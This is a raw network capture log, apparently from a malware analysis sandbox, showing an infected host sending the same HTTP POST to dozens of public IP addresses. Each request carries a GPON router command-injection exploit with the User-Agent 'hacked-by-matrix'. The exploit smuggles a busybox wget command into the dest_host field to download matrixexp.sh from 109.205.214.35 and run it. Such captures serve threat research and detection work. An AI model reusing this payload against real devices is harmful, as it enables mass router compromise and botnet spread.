Mar 21, 2024 05:22:04.176784039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.14	59746	94.130.214.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176827908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.14	33894	5.148.254.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176845074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.14	42200	109.255.98.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176912069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.14	60192	212.227.90.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176933050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.14	37846	178.187.212.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176949024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.14	59384	178.235.69.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177016020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.14	51204	2.95.70.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177054882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.14	57878	2.41.166.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177057028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.14	55866	2.245.85.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177136898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.14	52088	79.162.35.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177159071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.14	48990	79.173.185.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177196026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.14	46760	5.74.236.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177237988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.14	46654	79.183.81.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177256107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.14	41342	37.92.61.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177297115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.14	34040	2.32.214.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177328110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.14	41850	5.18.168.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177371025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.14	50278	178.6.22.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177402020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.14	60180	5.239.38.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177467108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.14	54596	210.232.92.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177472115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.14	50318	118.234.54.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177525997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.14	44776	2.31.184.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177567959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.14	55348	5.249.36.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177592039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.14	55864	178.16.37.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177640915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.14	55366	212.88.12.201	443

Timestamp	Bytes transferred	Direction	Data
